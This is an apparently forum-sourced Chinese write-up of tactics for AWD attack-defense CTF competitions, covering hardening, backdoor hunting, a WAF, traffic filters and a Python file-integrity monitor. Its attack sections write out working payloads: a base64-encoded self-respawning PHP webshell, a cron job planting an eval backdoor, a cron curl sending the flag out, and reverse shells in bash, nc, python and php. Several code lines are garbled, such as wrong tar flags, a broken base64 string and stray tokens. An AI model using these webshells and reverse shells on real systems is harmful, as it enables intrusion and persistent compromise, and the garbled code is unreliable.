原文链接:关于Awd的小结1,常规思路:
1.1 登录之后
1.1.1:
修改密码;
(1)ssh密码
(2)mysql密码
1.1.2:
备份:
(1)tar备份:
- tar -zvxf /tmp/www.tar.gz /var/www/html/
复制代码 (2)scp备份:- scp -P ssh_port user@host_ip:/tmp/bak.sql local_filebash
复制代码 (3)mysql备份:
- //备份
- mysqldump -u user -p passwd database > 1.sql
- //还原
- mysql -u user -p passwd database < 1.sql
复制代码1.2 防御
1.2.1 查询操作:
因为tar是不会备份隐藏文件的,所以需要ls -al查看一下是否存在后门 用d盾或者seay查看一下是否存在预留的一句话木马 利用grep -r "xxx" /var/www/html/ 查看一下是否有默认文件存在flag 检测端口暴露的情况(3306..),如果MySQL的端口暴露,记得修改一下默认密码(也要修改php/java代码中的连接代码) 查看有没有后门账户
1.2.2 脚本部署:
1.3 攻击
2,详细步骤
2.1 确定目标
情况一:主办方提供
网络拓扑和端口范围
1.确定端口
- nmap 10.16.10.19 -p1-65535
复制代码 2.确定其他目标(扫描c段)
情况二:主办方提供端口和ip且ip是连续的
直接干
2.2 代码审计
一般来说很可能会遇到一些tp、yii、laravel二次开发的框架,如果平时也有在收集这些链子的话可能也会用得到。 一般来说因为awd时间短,且代码量多所以考核的题目应该也不会太难 1.预置后门
- <font face="Tahoma">find /var/www/html -name "*.php" |xargs egrep 'assert|eval|phpinfo\(\)|\(base64_decoolcode|shell_exec|passthru|file_put_contents\(\.\*\$|base64_decode\('</font>
复制代码如果是ctf用户:最好是就修改一下连接密码就好,留一个预置后门。(直接用蚁剑连接操作作也不是不行 2.文件上传 3.SQL注入 4.反序列化 6.xxe 7.代码执行 8.文件遍历
2.3 权限维持
2.3.1 文件读取 我认为权限维持有时候也没办要写不死马之类的,不过 要是所有操作一起上了也不是不行 条件允许的话也可以在php、js脚本文件,直接写一个读取flag文件的操作也可以在返回的header中(也不容易被发现
- header(php'flag:'.file_get_contents('/tmp/flag'));
复制代码 2.3.2 不死马
一般来说,都是通过定时任务不断的写shell达到"不死马"这个操作 php: - file_put_contents('.1ndex.php',base64_decode('PD9waHAgIAogICAgc2V0X3RpbWVfbGltaXQoMCk7ICAKICAgIGlnbm9yZV91c2VyX2Fib3J0KDEpOyAgCiAgICB1bmxpbmsoX19GSUxFX18pOyAgCiAgICB3aGlsZSgxKXsgIAogICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCcubG5kZXgucGhwJywnPD9waHAgaWYobWQ1KCRfR0VUWyJwYXNzIl0pPT0iN2I3ZmRmZmVmNDY0MDE5ZjcxOTBkMDM4NGQ1YjM4MzgiKXtAZXZhbCgkX1BPU1RbImNtZCJdKTt9ID8+Jyk7ICAKICAgICAgICBzbGVlcCgxKTsgIAogICAgfQo/Pg==+Jyk7ICAKICAgICAgICBzbGVlcCgwKTsgIAogICAgfQo/Pg=='));
- ?pass=me7eorite&cmd=system('cat /flag')
复制代码Linux定时任务写马: - system('echo "* * * * * echo "<?php if(md5(\\\\\\\\\$_POST[pass])==\'7b7fdffef464019f7190d0384d5b3838\'){@eval(\\\\\\\\\$_POST[1]);} " > /var/www/html/.index.php\n* * * * * chmod 777 /var/www/html/.index.php" | crontab;whoami');
复制代码如果被种马了怎么办: 2.3.3 定时任务: - bash# 编辑 crontab:crontab -e
- */5 * * * * curl 10.10.10.5:8000/submit_flag/ -d 'flag='$(cat /home/web/flag/flag)'&token=7gsVbnRb6ToHRMxrP1zTBzQ9BeM05oncH9hUoef7HyXXhSzggQoLM2uXwjy1slr0XOpu8aS0qrY'
- # 查询 crontab:crontab -l
复制代码
- bash -c bash'bash -i >& /dev/tcp/[ip]/[port] 0>&1'
- nc -e /bin/bash 1.3.3.7 4444 bash
复制代码
- python -c bash'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_REAM);s.connect(("127.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
复制代码
- php -r bash'$sock=fsockopen("your_ip","4444");exec("/bin/sh -i <&3 >&3 2>&3");'
复制代码
如果因为定时任务一直失分咋办? 一般/bin/sh是nc服务 - kill `ps -aux | grep www-data | grep apache2 | awk '{print $2}'
复制代码如果是ctf权限的话,那只能写个马执行这个命令
2.3.4 宕机:
如果遇到不得不宕机的情况可以使用
3,关于脚本
3.1 上传waf
check机制可能会check到waf过滤的参数,导致宕机(所以上传waf要慎重
- php.ini
- auto_prepend_file=waf.php;
- bash
- sudo find /var/www/html/ -bashtype f -path "*.php" | xargs sed -i "s/<?php /<?php\nrequire_once('\/tmp\/waf.php');\n/g"
复制代码 可以在upload目录下写.htaccess禁止php文件执行
- <Directory "/var/www/html/upload">
- Options -ExecCGI -Indexes
- AllowOverride None
- RemoveHandler .php .phtml .php3 .pht .php4 .php5 .php7 .shtml
- RemoveType .php .phtml .php3 .pht .php4 .php5 .php7 .shtml
- php_flag engine off
- <FilesMatch ".+\.ph(p[3457]?|t|tml)$">
- deny from all
- </FilesMatch>
- </Directory>
复制代码3.2主办方提供流量
可以使用wireshark 基础用法: ip.addr == 192.168.1.1 //只显示源/目的IP为192.168.1.1的数据包 not ip.src == 1.1.1.1 //不显示源IP为1.1.1.1的数据包 ip.src == 1.1.1.1 or ip.dst == 1.1.1.2 //只显示源IP为1.1.1.1或目的IP为1.1.1.2的数据包
tcp.port eq 80 #不管端口是来源还是目的都显示80端口 tcp.port == 80 tcp.port eq 2722 tcp.port eq 80 or udp.port eq 80 tcp.dstport == 80 #只显示tcp协议的目标端口80 tcp.srcport == 80 #只显示tcp协议的来源端口80 udp.port eq 15000 tcp.port >= 1 and tcp.port <= 80 #过滤端口范围
多条过滤语句执行: - http.request.method ==”GET” && http contains “Host: “ http.request.method == “GET” && http contains “User-Agent: “ http.request.method ==”POST” && http contains “Host: “ http.request.method == “POST” && http contains “User-Agent: “ http contains “HTTP/1.1 200 OK” && http contains “Content-Type: “ http contains “HTTP/1.0 200 OK” && http contains “Content-Type: “
复制代码4.3 文件监控
(此为基于python的脚本)
如果靶机没有python环境,那还需要在安装一下
- python# -*- coding: utf-8 -*-
- #use: python file_check.py ./
- import os
- import hashlib
- import shutil
- import ntpath
- import time
- CWD = os.getcwd()
- FILE_MD5_DICT = {} # 文件MD5字典
- ORIGIN_FILE_LIST = []
- # 特殊文件路径字符串
- Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82'
- bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS'
- logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
- webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
- difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN'
- Special_string = 'drops_log' # 免死金牌
- UNICODE_ENCODING = "utf-8"
- INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"
- # 文件路径字典
- spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
- Special_path = {
- 'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),
- 'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),
- 'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),
- 'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),
- }
- def isListLike(value):
- return isinstance(value, (list, tuple, set))
- # 获取Unicode编码
- def getUnicode(value, encoding=None, noneToNull=False):
- if noneToNull and value is None:
- return NULL
- if isListLike(value):
- value = list(getUnicode(_, encoding, noneToNull) for _ in value)
- return value
- if isinstance(value, unicode):
- return value
- elif isinstance(value, basestring):
- while True:
- try:
- return unicode(value, encoding or UNICODE_ENCODING)
- except UnicodeDecodeError, ex:
- try:
- return unicode(value, UNICODE_ENCODING)
- except:
- value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
- else:
- try:
- return unicode(value)
- except UnicodeDecodeError:
- return unicode(str(value), errors="ignore")
- # 目录创建
- def mkdir_p(path):
- import errno
- try:
- os.makedirs(path)
- except OSError as exc:
- if exc.errno == errno.EEXIST and os.path.isdir(path):
- passcur
- else: raise
- # 获取当前所有文件路径
- def getfilelist(cwd):
- filelist = []
- for root,subdirs, files in os.walk(cwd):
- for filepath in files:cur
- originalfile = os.path.join(root, filepath)
- if Special_path_str not in originalfile:
- filelist.append(originalfile)
- return filelist
- # 计算机文件MD5值
- def calcMD5(filepath):
- try:
- with open(filepath,'rb') as f:
- md5obj = hashlib.md5()
- md5obj.update(f.read())
- hash = md5obj.hexdigest()
- return hash
- except Exception, e:
- print u'[!] getmd5_error : ' + getUnicode(filepath)
- print getUnicode(e)
- try:
- ORIGIN_FILE_LIST.remove(filepath)
- FILE_MD5_DICT.pop(filepath, None)
- except KeyError, e:
- pass
- # 获取所有文件MD5
- def getfilemd5dict(filelist = []):
- filemd5dict = {}
- for ori_file in filelist:
- if Special_path_str not in ori_file:
- md5 = calcMD5(os.path.realpath(ori_file))
- if md5:
- filemd5dict[ori_file] = md5
- return filemd5dict
- # 备份所有文件
- def backup_file(filelist=[]):
- # if len(os.listdir(Special_path['bak'])) == 0:
- for filepath in filelist:
- if Special_path_str not in filepath:
- shutil.copy2(filepath, Special_path['bak'])
- if __name__ == '__main__':
- print u'---------start------------'
- for value in Special_path:
- mkdir_p(Special_path[value])
- # 获取所有文件路径,并获取所有文件的MD5,同时备份所有文件
- ORIGIN_FILE_LIST = getfilelist(CWD)
- FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
- backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUG
- print u'[*] pre work end!'
- while True:
- file_list = getfilelist(CWD)
- # 移除新上传文件
- diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))
- if len(diff_file_list) != 0:
- # import pdb;pdb.set_trace()
- for filepath in diff_file_list:
- try:
- f = open(filepath, 'r').read()
- except Exception, e:
- break
- if Special_string not in f:
- try:
- print u'[*] webshell find : ' + getUnicode(filepath)
- shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))
- except Exception as e:
- print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filepath)
- try:
- f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
- f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + '\n')
- f.close()
- except Exception as e:
- print u'[-] log error : file move error: ' + getUnicode(e)
- # 防止任意文件被修改,还原被修改文件
- md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
- for filekey in md5_dict:
- if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
- try:
- f = open(filekey, 'r').read()
- except Exception, e:
- break
- if Special_string not in f:
- try:
- print u'[*] file had be change : ' + getUnicode(filekey)
- shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))
- shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)
- except Exception as e:
- print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filekey)
- try:
- f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
- f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + '\n')
- f.close()
- except Exception as e:
- print u'[-] log error : done_diff: ' + getUnicode(filekey)
- pass
- time.sleep(2)
- # print '[*] ' + getUnicode(time.ctime())
复制代码
|